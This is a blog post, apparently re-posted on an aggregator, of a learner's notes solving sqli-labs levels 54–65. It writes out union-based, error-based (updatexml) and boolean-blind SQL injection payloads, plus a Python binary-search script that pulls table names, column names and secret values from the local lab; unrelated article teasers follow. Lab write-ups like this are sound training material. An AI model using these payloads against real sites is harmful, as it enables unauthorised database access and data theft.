sqli-labs-master靶场训练笔记(54-65|决战紫禁之巓)

2024.2.5

level-54 

1、先判断类型和闭合类型

?id=1/0       #正常 证明不是数字型
?id=1'        #错误
?id=1' -- a   #正常 判断是 ' 闭合

2、 判断列数

 这里需要运气,但是根据前面50多关的经验直接猜测是3列

?id=-1' union select 1,2,3 -- a

3、爆表名,爆列名

由于有两个回显位,可以一口气爆两个 

?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- a

4、 爆字段名

?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='k4btflpcqe') -- a

5、爆数据

四个字段,四次机会

经过尝试,第三个字段是正确的

?id=-1' union select 1,2,(select group_concat('~',secret_0LJ6,'~') from challenges.k4btflpcqe limit 0,1) -- a

(如果是第一次打这个关卡,但凡运气和判断失误一点都不太能一次过)

level-55

1、先判断类型
?id=1/0       #错误 证明是数字型
?id=1 -- a    #错误
?id=1) -- a   #正常 判断是 ) 闭合2、后面过程与 level-54 一样

level-56

1、先判断类型
?id=1/0       #正常 证明不是数字型
?id=1'        #错误
?id=1' -- a   #错误
?id=1') -- a  #正常 判断是 ') 闭合2、后面过程与 level-54 一样

 level-57

1、先判断类型
?id=1/0       #正常 证明不是数字型
?id=1'        #正常
?id=1"        #错误
?id=1" -- a   #正常 判断是 " 闭合2、后面过程与 level-54 一样

level-58

1、先判断类型

?id=1/0       #正常 证明不是数字型
?id=1' -- a   #因为有报错信息可以直接判断出'闭合

2、爆列名

有报错信息的存在,这次选择报错注入,节省次数的浪费

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) -- a

3、爆字段

?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='q9821q44au'),'~'),1) -- a

4、爆数据

?id=1' and updatexml(1,concat('~',(select group_concat('~',secret_L4Z3,'~') from challenges.q9821q44au limit 0,1),'~'),1) -- a

level-59

1、先判断类型
?id=1/0       #错误 证明是数字型
?id=1 -- a    #正常 判断无闭合2、后面过程与 level-58 一样

level-60

1、先判断类型
?id=1/0       #正常 证明不是数字型
?id=1'        #错误
?id=1"        #根据报错信息知道是 ") 闭合
?id=1") -- a  #正常2、后面过程与 level-58 一样

level-61

1、先判断类型
?id=1/0        #正常 证明不是数字型
?id=1'         #根据报错信息知道是 ')) 闭合
?id=1')) -- a  #正常2、后面过程与 level-58 一样

level-62

 1、先判断类型

1、先判断类型
?id=1/0         #正常 证明不是数字型
?id=1'          #错误
?id=1"          #正常
?id=1' -- a     #错误
?id=1') -- a    #正常 判断是 ') 闭合

2、爆数据

首先需要了解一下表名,列名,数据的组成

表名:10位随机的字母(含大小写)或数字

列名:secret_+4位随机的字母(含大小写)或数字

数据:24位随机的字母(含大小写)或数字

显然正常的爆破次数(38*62=2356)是远远大于130次的

而且用二分法 (38*log2(62)=228) 也大于130

既然这样,只能写脚本绕过了

import requestsdef binary_query(start,length,payload):name = ''times = 0for i in range(start,start+length):p, q = 0, len(words)-1while p<=q:resp = requests.get(url, params={'id':payload.format(i,words[(p+q)//2])})times += 1if ("Login name" in resp.content.decode('utf-8')):  #向右找p = (p+q)//2+1else:    #向左找q = (p+q)//2-1name += chr(words[p])return name,times#生成0~9,A~Z,a~z的ascii码
words = [i for i in range(ord('0'),ord('9')+1)]+[i for i in range(ord('A'),ord('Z')+1)]+[i for i in range(ord('a'),ord('z')+1)]
url = r"http://127.0.0.1/sqli-labs-master/Less-62/"#爆表名
table_payload = "1') and if(ascii(mid((select table_name from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- a"
table_name, table_time= binary_query(1,10,table_payload)
print(f'table_name: {table_name}\ntable_time: {table_time}')#爆列名
column_payload = f"1') and if(ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' and column_name like 'secret_%')"+",{},1))>{},1,0) -- a"
column_name,column_time = binary_query(8,4,column_payload)
column_name = 'secret_'+ column_name
print(f'table_name: {column_name}\ntable_time: {column_time}')#爆数据
data_payload = f"1') and if(ascii(mid((select {column_name} from challenges.{table_name})"+",{},1))>{},1,0) -- a"
data_name,data_time = binary_query(1,24,data_payload)
print(f'table_name: {data_name}\ntable_time: {data_time}')print(f'sum_time:{table_time+column_time+data_time}')

 

level-63

?id=1' -- a
' 闭合,剩下的和level-62一样

level-64

?id=1)) -- a
)) 闭合,剩下的和level-62一样

level-65

?id=1") -- a
") 闭合,剩下的和level-62一样

这一路上走走停停,两周的时间,当初茫然的菜鸟似乎已经开始可以独自面对风雨,从对着单引号一脸懵逼到如今可以写脚本来解放双手,sql注入的大门已经为你我打开,此时,训练场已经满足不了想要展翅的❤,是时候背起行囊,前往大千世界,但切记,虽可飞翔,但羽翼仍未丰满,面对挑战,不要气馁,面对弱小, 务必留情,切勿挑战世界的法则,与千千万万一起构建和谐的社会

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/465739.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

[ai笔记1] 借着“ai春晚”开个场

1 文思ai笔记-新的开始 今天是2024年2月29日&#xff0c;也是传统农历的除夕夜。早起在ai圈看到一个比较新奇的消息&#xff0c;ai春晚今日举办&#xff0c;竟然有一点小小的激动。这些年确实好久没看过春晚了&#xff0c;自己对于春晚的映像还停留在“白云黑土”、“今天&…

《21天精通IPv4 to IPv6》第9天:云和容器中的IPv6——如何在云端☁️容器中实现IPv4到IPv6?

博主猫头虎的技术世界 &#x1f31f; 欢迎来到猫头虎的博客 — 探索技术的无限可能&#xff01; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a; 《面试题大全》 — 面试准备的宝典&#xff01;《IDEA开发秘籍》 — 提升你的IDEA技能&#xff01;《100天精通鸿蒙》 …

备份还原实际操作

备份还原实际操作 前言 根据达梦文档整理。 一、工具介绍 工具联机/脱机工具应用场景disql联机1️⃣数据库备份2️⃣归档备份3️⃣表空间备份与还原4️⃣表备份与还原dmrman脱机1️⃣数据库备份、还原和恢复2️⃣脱机还原表空间3️⃣归档的备份、还原和修复manager联机对应…

联想DP510、DP520、DP515打印机恢复出厂和自定义纸张方法

联想DP510、DP520、DP515恢复出厂设置方法 一、按下打印方式键&#xff0c;同时开机&#xff0c;直至打印头动作停止时松手&#xff1b; 二、水平装入 A4 纸&#xff0c;打印机自动调入并开始打印&#xff0c;若打印机将纸退出&#xff0c;将纸放平重新装入&#xff1b; 三、…

Idea Git Review插件

idea git plugin 添加了一些常用的小插件 可以右键打开git bash窗口 可以右键选中文字点击baidu fanyi 可以通过搜索git用户名 指定开始时间查询某个版本自己提交的所有代码文件 可以通过点击蓝色行数&#xff0c;跳转到指定的改动代码块 资源地址&#xff1a; git-pl…

Elasticsearch:混合搜索是 GenAI 应用的未来

在这个竞争激烈的人工智能时代&#xff0c;自动化和数据为王。 从庞大的存储库中有效地自动化搜索和检索信息的过程的能力变得至关重要。 随着技术的进步&#xff0c;信息检索方法也在不断进步&#xff0c;从而导致了各种搜索机制的发展。 随着生成式人工智能模型成为吸引力的中…

MATLAB知识点:矩阵的除法

​讲解视频&#xff1a;可以在bilibili搜索《MATLAB教程新手入门篇——数学建模清风主讲》。​ MATLAB教程新手入门篇&#xff08;数学建模清风主讲&#xff0c;适合零基础同学观看&#xff09;_哔哩哔哩_bilibili 节选自第3章 3.4.2 算术运算 下面我们再来介绍矩阵的除法。事…

Python自学之路:从入门到精通

一、引言 Python&#xff0c;作为最受欢迎的编程语言之一&#xff0c;不仅语法简洁易懂&#xff0c;而且应用领域广泛&#xff0c;从数据科学、机器学习、网络开发到自动化脚本编写等&#xff0c;无所不能。对于初学者来说&#xff0c;如何系统地自学Python可能会是一个挑战。…

Linux操作系统下安装消息中间件RabbitMQ_00000

下载 在官网下载Linux版RabbitMQ安装文件。 erlang-21.3-1.el7.x86_64.rpm rabbitmq-server-3.8.8-1.el7.noarch.rpm 安装 1、将文件上传至Linux系统中。 上传到/usr/local/software目录下&#xff08;如果没有software目录&#xff0c;则创建。&#xff09;。 2、安装文件&…

PySpark(四)PySpark SQL、Catalyst优化器、Spark SQL的执行流程、Spark新特性

目录 PySpark SQL 基础 SparkSession对象 DataFrame入门 DataFrame构建 DataFrame代码风格 DSL SQL SparkSQL Shuffle 分区数目 DataFrame数据写出 Spark UDF Catalyst优化器 Spark SQL的执行流程 Spark新特性 自适应查询(SparkSQL) 动态合并 动态调整Join策略 …

如何利用IP定位技术锁定网络攻击者

在当今高度互联的数字世界中&#xff0c;网络安全威胁日益猖獗。为了维护网络空间的安全与稳定&#xff0c;追踪并锁定网络攻击者成为了关键一环。而IP定位技术&#xff0c;作为一种重要的追踪手段&#xff0c;正发挥着越来越重要的作用。 IP定位技术&#xff0c;简而言之&…

《UE5_C++多人TPS完整教程》学习笔记1 ——《P2 关于本课程(About This Course)》

本文为B站系列教学视频 《UE5_C多人TPS完整教程》 —— 《P2 关于本课程&#xff08;About This Course&#xff09;》 的学习笔记&#xff0c;该系列教学视频为 Udemy 课程 《Unreal Engine 5 C Multiplayer Shooter》 的中文字幕翻译版&#xff0c;UP主&#xff08;也是译者&…